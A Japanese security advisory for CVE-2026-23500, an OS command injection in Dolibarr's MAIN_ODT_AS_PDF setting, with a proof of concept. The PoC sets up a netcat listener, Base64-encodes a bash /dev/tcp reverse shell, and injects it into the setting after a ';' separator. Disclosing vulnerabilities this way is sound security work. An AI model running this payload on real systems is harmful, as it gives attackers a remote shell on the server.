CVE-2026-23500: Dolibarr の MAIN_ODT_AS_PDF 設定を介した OS コマンドインジェクション (RCE)

概要

フィールド	詳細
CVE ID	CVE-2026-23500
重要度	CRITICAL
アドバイザリ	GHSA-w5j3-8fcr-h87w
発見者	Lukasz Rybak

影響を受ける製品

Dolibarr/dolibarr (バージョン: <= 22.0.4)
修正バージョン: 23.0

CWE 分類

CWE-78: OS コマンドで使用される特殊要素の不適切な無害化 ('OS コマンドインジェクション')

詳細

要約

認証済みの管理者は、MAIN_ODT_AS_PDF 設定定数に悪意のあるペイロードを注入することで、任意の OS コマンドを実行できます。この脆弱性は、ODT から PDF への変換プロセスで、アプリケーションが exec() 関数に渡すコマンドパスを適切に検証またはエスケープしていないために発生します。

技術的詳細

この脆弱性は htdocs/includes/odtphp/odf.php に存在します。システムが ODT ドキュメントを PDF に変換しようとするとき (例: 提案書、請求書)、MAIN_ODT_AS_PDF グローバル設定を使用してシェルコマンドを構築します。

コードスニペット (htdocs/includes/odtphp/odf.php、約 930 行目):

$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);

ファイル名 $name は escapeshellcmd() によってサニタイズされますが、設定変数 MAIN_ODT_AS_PDF はデータベースから直接取得され、文字列の先頭に連結されます。管理者権限を持つ攻撃者は、この変数にコマンドセパレータ (例: ;) とそれに続く任意のコマンドを含む値を設定できます。

PoC

前提条件:

管理者としてログインします。
"Commercial Proposals" モジュールが有効になっており、そのセットアップで "ODT templates" が有効化されていることを確認します。

再現手順 (リバースシェル):

攻撃者のマシン (IP: 172.26.0.1、ポート: 4445) で netcat リスナーを起動します:

nc -lvnp 4445

ペイロードを準備します。特殊文字 (例: & や >) が Web アプリケーションやシェルによってエスケープされる問題を回避するため、リバースシェルコマンドを Base64 でエンコードします:
```
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```
ホーム -> セットアップ -> その他の設定 に移動します。
定数 MAIN_ODT_AS_PDF を次のインジェクションペイロードで追加または変更します:
```
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
(説明: jodconverter は最初のチェックを満たし、; はコマンドセパレータとして機能し、パイプラインが Base64 ペイロードをデコードして実行します)。
コマース -> 新しい提案 に移動し、下書きを作成して、ODT テンプレート (例: generic_proposal_odt) を選択し、生成をクリックします。